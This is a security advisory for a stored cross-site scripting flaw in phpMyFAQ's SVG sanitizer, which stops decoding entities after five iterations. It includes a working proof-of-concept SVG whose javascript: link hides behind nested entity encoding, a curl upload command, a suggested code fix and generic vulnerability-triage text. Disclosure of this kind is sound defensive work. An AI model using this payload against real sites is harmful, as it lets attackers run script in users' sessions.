The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of & encoding around numeric HTML entities (e.g., j for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.
Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls html_entity_decode() which resolves one level of & → &. With 5 levels of & wrapping, all 5 iterations are consumed unwinding the & nesting, leaving the final &#NNN; numeric entities unresolved.
Code path:
FAQ_EDIT permission uploads SVG via POST /admin/api/content/images (ImageController::upload() at line 39)svg → SvgSanitizer::isSafe() called (line 114)isSafe() calls decodeAllEntities() — 5 iterations resolve &amp; nesting but leave &#106;&#97;... (numeric entities for javascript)/href\s*=\s*["\'][\s]*javascript\s*:/i) does not match &#106;&#97;...isSafe() returns true — file saved without any sanitizationcontent/user/images/ with image/svg+xml MIME type&#106; → j, &#97; → a, etc., reconstructing javascript:alert(document.domain)The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.
Relevant code in decodeAllEntities():
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 5; // <-- insufficient for 5 levels of &amp; + numeric entity
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
// Step 1: Decode decimal entities (&#106; → j)
$decoded = preg_replace_callback('/&#(\d+);/', ...);
// Step 2: Decode hex entities (&#x6A; → j)
$decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);
// Step 3: Decode named HTML entities (&amp; → &)
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// After 5 iterations with 5 &amp; levels: &#106; remains undecoded
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded);
}
Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of &amp; nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.
Step 1: Create malicious SVG file (xss.svg):
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)">
<circle cx="100" cy="100" r="80" fill="red"/>
<text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text>
</a>
</svg>
Step 2: Upload via admin image upload endpoint:
curl -b 'session_cookie' \
-F "files[][email protected]" \
"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN"
Expected response: {"success": true, ...} with the uploaded file URL.
Step 3: Access the uploaded SVG directly:
https://TARGET/content/user/images/1712345678_xss.svg
The browser renders the SVG as image/svg+xml. The XML parser decodes &#106; → j, &#97; → a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.
The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.
The root cause is that decodeAllEntities() can be exhausted by deeply nested &amp; encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 10; // Increase from 5 to handle deeper nesting
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');
}
// Safety net: if the loop exited due to iteration limit, do a final
// numeric/hex entity decode pass to catch any remaining &#NNN; entities
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded);
}
Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.
| Software | Affected versions |
|---|---|
phpmyfaq / phpmyfaq
|
< 4.1.2 |
thorsten / phpmyfaq
|
< 4.1.2 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.